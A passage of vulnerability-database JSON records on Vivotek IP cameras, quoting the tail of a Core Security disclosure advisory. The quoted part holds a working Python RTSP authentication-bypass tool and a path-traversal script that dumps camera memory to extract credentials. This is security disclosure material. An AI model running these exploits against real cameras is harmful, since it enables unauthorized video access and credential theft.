DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n def __init__(self, local_port, camera):\n self.last_describe_req = \u0027\u0027\n self.camera = camera\n self.local_port = local_port\n \n def start(self):\n log(\u0027[!] Starting bypasser\u0027)\n TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n \n def spoof_rtsp_conn(self, data):\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n self.last_describe_req = data\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n spoofed_describe = self.camera.get_describe_data()\n # Look for the request CSeq\n m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n # Create the response\n data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n data+= \u0027\\r\\n\u0027\n # Attach the spoofed describe\n data+= spoofed_describe \n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n # Look for the server RTP ports\n m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n # For each port in the range create a UDP dispatcher\n begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n for udp_port in xrange(begin_port, end_port + 1):\n try:\n UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n except:\n pass \n return data\n\nif __name__ == \u0027__main__\u0027:\n if len( sys.argv ) \u003e 1:\n listener_port = camera_port = int(sys.argv[1])\n camera_ip = sys.argv[2]\n if len(sys.argv) == 4:\n camera_port = int(sys.argv[3])\n RTSPAuthByPasser(listener_port, Vivotek((camera_ip,\ncamera_port))).start()\n else:\n print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027 \n\n-----/\n\n\n8.4. *User Credentials Leaked via Path Traversal*\n\n[CVE-2013-1597] The following Python code exploits a path traversal and\ndumps the camera\u0027s memory. Valid user credentials can be extracted from\nthis memory dump by an unauthenticated remote attacker (firmware 0300a). \nThe same attack is still valid with firmware 0400a but the user has to\nbe authenticated in order to exploit this flaw. \n\n/-----\nimport httplib\n\nconn = httplib.HTTPConnection(\"192.168.1.100\")\nconn.request(\"GET\", \"/../../../../../../../../../proc/kcore\")\nresp = conn.getresponse()\ndata = resp.read()\n-----/\n\n\n\n8.5. *OS Command Injection*\n\n[CVE-2013-1598] The command injection is located in the binary file\n\u0027farseer.out\u0027 in the parameter \u0027system.ntp\u0027:\n\n/-----\n.text:0000CB34 MOV R1, R4\n.text:0000CB38 LDR R0, =aCmdporcessStar ;\n\"[CmdPorcess] Start sync with NTP server %s\"... \n.text:0000CB3C ADD R10, SP, #0x144+var_120\n.text:0000CB40 BNE loc_CB68\n[...]\n.text:0000CB68 BL .printf\n.text:0000CB6C LDR R2, =aSS_0 ; \"%s%s\"\n.text:0000CB70 LDR R3, =aUsrSbinPsntpda ;\n\"/usr/sbin/psntpdate -4fr \"\n.text:0000CB74 MOV R1, #0xFF ; maxlen\n.text:0000CB78 MOV R0, R10 ; s\n.text:0000CB7C STR R4, [SP,#0x144+var_144]\n.text:0000CB80 BL .snprintf\n.text:0000CB84 MOV R0, R10 ; command\n.text:0000CB88 BL .system \n-----/\n\n9. *Report Timeline*\n\n. 2013-03-06:\nCore Security Technologies notifies the Vivotek Customer Support of the\nvulnerability (tracking ID CRM:00930113) and requests a security manager\nto send a draft report regarding these vulnerabilities. No reply received. 2013-03-11:\nCore asks for a security manager to send a confidential report. 2013-03-14:\nCore notifies the Vivotek Technical Support of the vulnerability\n(tracking ID CRM:00930485). 2013-03-18:\nCore opens a new ticket in the Vivotek Technical Support (tracking ID\nCRM:00930670). 2013-03-21:\nCore asks for a reply regarding the tracking ID CRM:00930485. 2013-04-24:\nCore tries to contact vendor for last time without any reply. 2013-04-29:\nAfter 6 failed attempts to report the issues, the advisory\nCORE-2013-0301 is published as \u0027user-release\u0027. \n\n10. *References*\n\n[1] http://www.vivotek.com/web/product/NetworkCameras.aspx\n[2] http://www.securityfocus.com/bid/54476. \n[3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx. \n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2012 Core Security\nTechnologies and (c) 2012 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-1594"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007082"
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "59572"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "VULMON",
"id": "CVE-2013-1594"
},
{
"db": "PACKETSTORM",
"id": "121451"
}
],
"trust": 2.88
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=25139",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2013-1594"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-1594",
"trust": 3.0
},
{
"db": "BID",
"id": "59572",
"trust": 2.0
},
{
"db": "EXPLOIT-DB",
"id": "25139",
"trust": 1.7
},
{
"db": "BID",
"id": "54476",
"trust": 1.6
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007082",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2012-3710",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201305-040",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2013-1594",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "121451",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "VULMON",
"id": "CVE-2013-1594"
},
{
"db": "BID",
"id": "59572"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007082"
},
{
"db": "PACKETSTORM",
"id": "121451"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-040"
},
{
"db": "NVD",
"id": "CVE-2013-1594"
}
]
},
"id": "VAR-202001-0834",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
}
],
"trust": 1.5333333333333332
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
},
{
"category": [
"camera device"
],
"sub_category": "IP camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
}
]
},
"last_update_date": "2025-01-30T21:40:48.639000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top\u00a0Page",
"trust": 0.8,
"url": "https://www.vivotek.com/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007082"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-200",
"trust": 1.0
},
{
"problemtype": "information leak (CWE-200) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007082"
},
{
"db": "NVD",
"id": "CVE-2013-1594"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.9,
"url": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities"
},
{
"trust": 1.8,
"url": "http://www.securityfocus.com/bid/59572"
},
{
"trust": 1.7,
"url": "http://www.exploit-db.com/exploits/25139"
},
{
"trust": 1.7,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83943"
},
{
"trust": 1.7,
"url": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt"
},
{
"trust": 1.7,
"url": "https://packetstormsecurity.com/files/cve/cve-2013-1594"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1594"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/54476/"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/54476"
},
{
"trust": 0.3,
"url": "http://www.vivotek.com/"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://www.exploit-db.com/exploits/25139/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1596"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1595"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1597"
},
{
"trust": 0.1,
"url": "http://www.undermx.blogspot.mx."
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://192.168.1.100/cgi-bin/admin/getparam.cgi"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1598"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/setup/parafile.html"
},
{
"trust": 0.1,
"url": "http://www.vivotek.com/web/product/networkcameras.aspx"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://www.securityfocus.com/bid/54476."
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "VULMON",
"id": "CVE-2013-1594"
},
{
"db": "BID",
"id": "59572"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007082"
},
{
"db": "PACKETSTORM",
"id": "121451"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-040"
},
{
"db": "NVD",
"id": "CVE-2013-1594"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "VULMON",
"id": "CVE-2013-1594"
},
{
"db": "BID",
"id": "59572"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007082"
},
{
"db": "PACKETSTORM",
"id": "121451"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-040"
},
{
"db": "NVD",
"id": "CVE-2013-1594"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2012-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"date": "2020-01-24T00:00:00",
"db": "VULMON",
"id": "CVE-2013-1594"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59572"
},
{
"date": "2012-07-16T00:00:00",
"db": "BID",
"id": "54476"
},
{
"date": "2020-02-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007082"
},
{
"date": "2013-04-29T23:40:31",
"db": "PACKETSTORM",
"id": "121451"
},
{
"date": "2012-07-18T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"date": "2013-04-29T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-040"
},
{
"date": "2020-01-24T17:15:12.077000",
"db": "NVD",
"id": "CVE-2013-1594"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2012-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"date": "2020-01-28T00:00:00",
"db": "VULMON",
"id": "CVE-2013-1594"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59572"
},
{
"date": "2012-07-16T00:00:00",
"db": "BID",
"id": "54476"
},
{
"date": "2020-02-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007082"
},
{
"date": "2012-07-18T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"date": "2020-05-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-040"
},
{
"date": "2020-01-28T20:28:56.707000",
"db": "NVD",
"id": "CVE-2013-1594"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-040"
}
],
"trust": 1.2
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Vivotek Network Cameras Information Disclosure Vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
}
],
"trust": 1.5
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "information disclosure",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-040"
}
],
"trust": 1.2
}
}
VAR-201901-0608
Vulnerability from variot - Updated: 2025-01-30 21:37Cross-site scripting in syslog.html in VIVOTEK Network Camera Series products with firmware 0x06x to 0x08x allows remote attackers to execute arbitrary JavaScript code via an HTTP Referer Header. VIVOTEKNetworkCameraSeries is a series of network camera products from China VIVOTEK
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201901-0608",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "camera",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": null
},
{
"model": "camera",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "0x06x to 0x08x"
},
{
"model": "network cameras",
"scope": "gte",
"trust": 0.6,
"vendor": "vivotek",
"version": "0x06x,\u003c=0x08x"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-066"
},
{
"db": "NVD",
"id": "CVE-2018-18244"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:vivotek:camera",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
}
]
},
"cve": "CVE-2018-18244",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"exploitabilityScore": 8.6,
"id": "CVE-2018-18244",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 6.4,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-00363",
"impactScore": 4.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"exploitabilityScore": 8.6,
"id": "VHN-128784",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:N/I:P/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"exploitabilityScore": 2.8,
"id": "CVE-2018-18244",
"impactScore": 2.7,
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"trust": 1.8,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-18244",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "NVD",
"id": "CVE-2018-18244",
"trust": 0.8,
"value": "Medium"
},
{
"author": "CNVD",
"id": "CNVD-2019-00363",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201901-066",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-128784",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"db": "VULHUB",
"id": "VHN-128784"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-066"
},
{
"db": "NVD",
"id": "CVE-2018-18244"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Cross-site scripting in syslog.html in VIVOTEK Network Camera Series products with firmware 0x06x to 0x08x allows remote attackers to execute arbitrary JavaScript code via an HTTP Referer Header. VIVOTEKNetworkCameraSeries is a series of network camera products from China VIVOTEK",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-18244"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
},
{
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"db": "VULHUB",
"id": "VHN-128784"
}
],
"trust": 2.25
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-18244",
"trust": 3.2
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013359",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201901-066",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-00363",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-128784",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"db": "VULHUB",
"id": "VHN-128784"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-066"
},
{
"db": "NVD",
"id": "CVE-2018-18244"
}
]
},
"id": "VAR-201901-0608",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"db": "VULHUB",
"id": "VHN-128784"
}
],
"trust": 1.7391892
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
},
{
"category": [
"camera device"
],
"sub_category": "camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00363"
}
]
},
"last_update_date": "2025-01-30T21:37:12.826000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "VVTK-SA-2018-006",
"trust": 0.8,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-006-v1.pdf"
},
{
"title": "Patch for cross-site scripting vulnerability in VIVOTEKNetworkCamera series",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/149247"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-79",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128784"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
},
{
"db": "NVD",
"id": "CVE-2018-18244"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.3,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-006-v1.pdf"
},
{
"trust": 2.3,
"url": "https://blog.securityevaluators.com/vivotek-ip-camera-vulnerabilities-discovered-and-exploited-2e2531ecd244"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-18244"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-18244"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"db": "VULHUB",
"id": "VHN-128784"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-066"
},
{
"db": "NVD",
"id": "CVE-2018-18244"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"db": "VULHUB",
"id": "VHN-128784"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-066"
},
{
"db": "NVD",
"id": "CVE-2018-18244"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-01-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"date": "2019-01-03T00:00:00",
"db": "VULHUB",
"id": "VHN-128784"
},
{
"date": "2019-02-19T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-013359"
},
{
